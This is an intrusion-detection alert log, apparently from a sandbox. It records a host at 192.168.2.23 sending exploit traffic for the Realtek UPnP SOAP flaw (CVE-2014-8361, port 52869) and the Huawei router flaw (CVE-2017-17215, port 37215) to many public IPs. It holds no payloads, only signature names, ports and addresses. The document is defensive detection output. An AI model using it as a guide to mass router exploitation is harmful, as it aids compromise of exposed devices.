07/20/24-23:02:00.484578	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58038	52869	192.168.2.23	199.27.212.72
07/20/24-23:01:53.844694	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51090	52869	192.168.2.23	112.42.28.225
07/20/24-23:01:52.285244	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55514	52869	192.168.2.23	129.174.206.130
07/20/24-23:01:11.188768	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52494	52869	192.168.2.23	62.245.86.200
07/20/24-23:02:08.008782	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36758	52869	192.168.2.23	168.26.102.58
07/20/24-23:01:34.045749	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48766	37215	192.168.2.23	197.84.25.49
07/20/24-23:01:42.551511	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33580	52869	192.168.2.23	42.245.92.167
07/20/24-23:01:20.132103	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33446	37215	192.168.2.23	41.117.151.237
07/20/24-23:01:53.909434	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46270	52869	192.168.2.23	49.96.236.62
07/20/24-23:01:31.325400	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38942	52869	192.168.2.23	61.172.152.113
07/20/24-23:01:43.117484	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48780	52869	192.168.2.23	57.81.97.111
07/20/24-23:01:44.991829	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58460	52869	192.168.2.23	202.1.176.48
07/20/24-23:01:25.517399	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50900	52869	192.168.2.23	220.87.191.244
07/20/24-23:01:57.688478	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60970	52869	192.168.2.23	102.142.123.212
07/20/24-23:01:02.055683	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45562	37215	192.168.2.23	164.204.194.37
07/20/24-23:01:48.118060	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49154	52869	192.168.2.23	162.125.127.147
07/20/24-23:01:14.113390	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47014	37215	192.168.2.23	41.9.205.142
07/20/24-23:01:44.683789	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34530	52869	192.168.2.23	57.222.50.62
07/20/24-23:01:52.599833	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48540	52869	192.168.2.23	88.29.130.31
07/20/24-23:01:44.311969	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44292	52869	192.168.2.23	2.84.107.116
07/20/24-23:01:56.510714	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40700	52869	192.168.2.23	198.12.218.135
07/20/24-23:01:02.127340	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40570	37215	192.168.2.23	197.165.85.196
07/20/24-23:01:08.559170	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51992	52869	192.168.2.23	114.57.93.253
07/20/24-23:01:47.870904	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46610	52869	192.168.2.23	187.174.160.150
07/20/24-23:01:09.817737	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52942	52869	192.168.2.23	44.188.193.15
07/20/24-23:01:56.504220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45026	52869	192.168.2.23	189.167.254.123
07/20/24-23:01:43.180913	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53382	52869	192.168.2.23	129.164.36.164
07/20/24-23:01:40.320408	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48886	37215	192.168.2.23	143.182.102.65
07/20/24-23:01:49.329746	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53542	52869	192.168.2.23	62.188.56.156
07/20/24-23:01:24.944299	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37398	37215	192.168.2.23	197.105.28.46
07/20/24-23:01:24.929013	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53856	37215	192.168.2.23	41.149.70.228
07/20/24-23:01:25.969609	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41896	52869	192.168.2.23	113.130.121.87
07/20/24-23:01:53.175676	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59638	52869	192.168.2.23	184.241.110.129
07/20/24-23:01:24.883171	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46870	37215	192.168.2.23	41.51.233.253
07/20/24-23:01:54.672544	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34852	52869	192.168.2.23	132.173.198.51
07/20/24-23:01:44.895849	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35128	52869	192.168.2.23	125.174.13.114
07/20/24-23:01:40.291616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41636	37215	192.168.2.23	197.40.0.63
07/20/24-23:01:41.259813	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40310	52869	192.168.2.23	129.151.175.195
07/20/24-23:01:31.979752	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45060	37215	192.168.2.23	41.131.219.214
07/20/24-23:01:02.324877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55470	52869	192.168.2.23	143.198.233.204
07/20/24-23:01:31.976649	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59476	37215	192.168.2.23	197.165.97.37
07/20/24-23:01:20.124696	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39104	37215	192.168.2.23	41.163.165.19
07/20/24-23:01:54.901420	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44428	52869	192.168.2.23	219.217.14.87
07/20/24-23:01:27.651332	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52286	37215	192.168.2.23	197.146.181.144
07/20/24-23:01:50.280308	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55862	52869	192.168.2.23	213.162.26.171
07/20/24-23:01:51.266338	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44988	52869	192.168.2.23	113.178.52.80
07/20/24-23:01:52.569791	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51988	52869	192.168.2.23	2.77.241.40
07/20/24-23:01:43.227281	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59816	52869	192.168.2.23	155.22.111.5
07/20/24-23:01:52.089079	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46226	52869	192.168.2.23	119.145.77.109
07/20/24-23:01:08.919725	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46758	52869	192.168.2.23	12.55.180.198
07/20/24-23:01:08.574948	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39120	52869	192.168.2.23	153.0.45.254
07/20/24-23:01:11.149832	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41576	52869	192.168.2.23	51.49.44.101
07/20/24-23:01:49.454456	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56898	52869	192.168.2.23	19.194.171.63
07/20/24-23:01:04.114673	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57736	37215	192.168.2.23	197.52.94.108
07/20/24-23:00:57.221220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58196	37215	192.168.2.23	197.77.131.53
07/20/24-23:01:27.749737	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48384	37215	192.168.2.23	41.190.230.210
07/20/24-23:01:21.943544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52986	37215	192.168.2.23	60.142.88.137
07/20/24-23:01:47.433470	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40136	52869	192.168.2.23	82.79.140.185
07/20/24-23:01:02.057729	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51132	37215	192.168.2.23	157.212.218.203
07/20/24-23:01:53.923127	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46216	52869	192.168.2.23	78.233.35.58
07/20/24-23:01:44.155894	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43802	52869	192.168.2.23	107.189.251.198
07/20/24-23:01:43.121284	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40112	52869	192.168.2.23	87.254.251.88
07/20/24-23:01:45.095767	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42164	52869	192.168.2.23	86.220.55.191
07/20/24-23:02:04.748522	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47778	52869	192.168.2.23	97.69.50.199
07/20/24-23:01:46.495508	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44590	52869	192.168.2.23	207.214.48.137
07/20/24-23:01:04.040812	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60340	37215	192.168.2.23	41.218.114.123
07/20/24-23:01:09.891414	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34962	52869	192.168.2.23	131.120.226.33
07/20/24-23:01:45.978835	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40016	52869	192.168.2.23	179.51.3.253
07/20/24-23:01:47.486502	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55102	52869	192.168.2.23	38.182.132.190
07/20/24-23:01:08.619598	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43258	52869	192.168.2.23	57.224.40.86
07/20/24-23:01:11.634372	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59606	37215	192.168.2.23	41.69.22.214
07/20/24-23:01:25.498619	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56578	52869	192.168.2.23	119.38.147.179
07/20/24-23:01:43.110964	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60932	52869	192.168.2.23	73.152.115.130
07/20/24-23:01:34.048825	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53792	37215	192.168.2.23	157.199.109.79
07/20/24-23:01:09.021221	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47164	52869	192.168.2.23	221.226.241.204
07/20/24-23:01:45.298541	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39444	52869	192.168.2.23	38.110.137.130
07/20/24-23:01:50.128003	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50218	52869	192.168.2.23	118.32.91.217
07/20/24-23:01:51.875785	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59312	52869	192.168.2.23	159.88.48.35
07/20/24-23:01:41.370646	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36080	52869	192.168.2.23	34.44.162.23
07/20/24-23:01:31.331820	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39354	52869	192.168.2.23	9.241.118.240
07/20/24-23:01:58.624224	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54392	52869	192.168.2.23	101.35.135.206
07/20/24-23:01:47.924852	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52002	52869	192.168.2.23	143.225.143.5
07/20/24-23:01:41.343266	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54936	52869	192.168.2.23	220.17.179.230
07/20/24-23:01:24.885895	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55438	37215	192.168.2.23	41.201.237.240
07/20/24-23:01:01.448947	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41332	52869	192.168.2.23	119.187.229.164
07/20/24-23:01:42.042815	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56826	52869	192.168.2.23	157.210.162.125
07/20/24-23:01:20.131339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57472	37215	192.168.2.23	197.74.155.53
07/20/24-23:01:08.556804	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57658	52869	192.168.2.23	23.94.137.105
07/20/24-23:01:08.611773	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54474	52869	192.168.2.23	91.233.41.28
07/20/24-23:01:27.654172	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36212	37215	192.168.2.23	197.163.51.90
07/20/24-23:01:43.177552	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58512	52869	192.168.2.23	83.205.44.142
07/20/24-23:01:53.971751	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39120	52869	192.168.2.23	133.40.152.48
07/20/24-23:01:57.747300	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57584	52869	192.168.2.23	187.17.35.77
07/20/24-23:01:24.877747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50868	37215	192.168.2.23	39.16.82.179
07/20/24-23:01:52.919383	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55932	52869	192.168.2.23	27.248.134.22
07/20/24-23:01:46.348899	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53338	52869	192.168.2.23	138.36.169.221
07/20/24-23:01:49.946258	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42936	52869	192.168.2.23	168.75.31.114
07/20/24-23:01:03.958922	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60076	52869	192.168.2.23	206.248.87.37
07/20/24-23:01:44.950737	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51886	52869	192.168.2.23	221.199.165.178
07/20/24-23:01:24.943244	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55978	37215	192.168.2.23	41.9.4.247
07/20/24-23:01:43.978983	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57384	52869	192.168.2.23	133.252.225.26
07/20/24-23:01:52.006906	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50982	52869	192.168.2.23	31.246.229.175
07/20/24-23:01:41.660997	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53996	52869	192.168.2.23	151.105.247.52
07/20/24-23:01:04.058922	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56668	37215	192.168.2.23	41.51.105.40
07/20/24-23:01:10.666264	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41658	52869	192.168.2.23	72.182.219.141
07/20/24-23:01:06.991143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39806	37215	192.168.2.23	197.25.151.108
07/20/24-23:01:51.698859	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43246	52869	192.168.2.23	79.129.206.60
07/20/24-23:01:56.353592	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39768	52869	192.168.2.23	202.177.22.97
07/20/24-23:01:53.354788	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32794	52869	192.168.2.23	94.86.220.196
07/20/24-23:01:44.713195	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47504	52869	192.168.2.23	105.221.97.172
07/20/24-23:01:32.034562	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60676	37215	192.168.2.23	74.90.46.163
07/20/24-23:01:57.330552	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41256	52869	192.168.2.23	206.154.64.238
07/20/24-23:01:20.591485	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52570	52869	192.168.2.23	100.41.144.113
07/20/24-23:01:56.504220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58452	52869	192.168.2.23	79.45.122.255
07/20/24-23:01:44.795218	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38366	52869	192.168.2.23	12.154.226.190
07/20/24-23:01:24.929013	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36600	37215	192.168.2.23	197.202.30.34
07/20/24-23:01:45.521019	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34432	52869	192.168.2.23	37.165.17.202
07/20/24-23:01:46.439367	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44908	52869	192.168.2.23	119.138.76.79
07/20/24-23:01:24.510301	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41918	52869	192.168.2.23	144.247.247.76
07/20/24-23:00:59.175742	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37622	37215	192.168.2.23	196.108.213.184
07/20/24-23:01:47.455724	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60998	52869	192.168.2.23	38.85.208.126
07/20/24-23:01:04.192511	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58484	52869	192.168.2.23	186.129.229.179
07/20/24-23:01:51.790169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37528	52869	192.168.2.23	183.223.8.125
07/20/24-23:01:20.124696	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53234	37215	192.168.2.23	41.237.97.145
07/20/24-23:01:24.883172	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36552	37215	192.168.2.23	181.24.138.22
07/20/24-23:01:31.323043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59916	52869	192.168.2.23	213.157.19.102
07/20/24-23:01:49.167711	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39028	52869	192.168.2.23	157.109.59.232
07/20/24-23:01:49.901282	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54834	52869	192.168.2.23	105.93.17.46
07/20/24-23:01:08.578116	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34374	52869	192.168.2.23	25.222.248.206
07/20/24-23:01:40.321300	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55554	37215	192.168.2.23	197.224.157.32
07/20/24-23:01:44.350602	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36276	52869	192.168.2.23	4.9.166.109
07/20/24-23:01:56.315740	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58126	52869	192.168.2.23	19.194.171.63
07/20/24-23:01:58.719313	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58424	52869	192.168.2.23	159.133.17.143
07/20/24-23:01:03.432937	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58602	52869	192.168.2.23	140.186.145.164
07/20/24-23:01:02.470704	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45810	52869	192.168.2.23	129.194.41.40
07/20/24-23:01:40.285039	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44938	37215	192.168.2.23	197.32.142.171
07/20/24-23:01:21.936545	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60996	37215	192.168.2.23	157.58.196.213
07/20/24-23:01:47.674845	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44134	52869	192.168.2.23	134.168.191.164
07/20/24-23:01:32.027082	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39308	37215	192.168.2.23	139.146.7.44
07/20/24-23:01:45.159648	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47212	52869	192.168.2.23	57.189.118.114
07/20/24-23:01:51.213578	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41160	52869	192.168.2.23	13.35.187.229
07/20/24-23:01:02.721582	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40048	52869	192.168.2.23	209.101.108.92
07/20/24-23:01:45.926465	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35840	52869	192.168.2.23	213.132.50.155
07/20/24-23:01:14.284488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60452	37215	192.168.2.23	157.13.148.173
07/20/24-23:01:20.161614	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45192	37215	192.168.2.23	124.82.46.132
07/20/24-23:01:08.912088	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34906	52869	192.168.2.23	195.67.134.63
07/20/24-23:01:27.656128	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52098	37215	192.168.2.23	210.252.39.6
07/20/24-23:01:46.530676	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50316	52869	192.168.2.23	177.9.244.61
07/20/24-23:01:55.797133	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55262	52869	192.168.2.23	163.86.195.181
07/20/24-23:01:20.131339	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50504	37215	192.168.2.23	197.233.197.166
07/20/24-23:01:06.996056	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59582	37215	192.168.2.23	157.57.251.26
07/20/24-23:01:08.938949	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51090	52869	192.168.2.23	142.90.33.83
07/20/24-23:01:40.334452	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56216	37215	192.168.2.23	144.60.118.98
07/20/24-23:01:44.993925	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36958	52869	192.168.2.23	114.19.125.68
07/20/24-23:02:01.357047	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49068	52869	192.168.2.23	185.217.197.57
07/20/24-23:01:44.510114	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49522	52869	192.168.2.23	108.46.15.204
07/20/24-23:01:10.977084	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60170	52869	192.168.2.23	183.182.103.28
07/20/24-23:01:11.635828	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41410	37215	192.168.2.23	138.191.112.237
07/20/24-23:01:31.976795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57148	37215	192.168.2.23	197.17.160.123
07/20/24-23:00:59.191389	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57408	37215	192.168.2.23	197.6.34.101
07/20/24-23:01:57.169212	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57438	52869	192.168.2.23	149.53.250.19
07/20/24-23:01:44.589820	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41334	52869	192.168.2.23	108.54.73.191
07/20/24-23:01:00.645186	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53540	37215	192.168.2.23	197.36.116.167
07/20/24-23:01:46.312083	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57364	52869	192.168.2.23	170.47.68.177
07/20/24-23:02:03.085082	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48622	52869	192.168.2.23	167.172.23.251
07/20/24-23:01:44.355606	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46546	52869	192.168.2.23	156.133.161.252
07/20/24-23:01:49.302154	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52690	52869	192.168.2.23	190.1.92.156
07/20/24-23:01:41.608574	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50646	52869	192.168.2.23	187.178.228.43
07/20/24-23:01:51.833558	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34832	52869	192.168.2.23	43.180.222.83
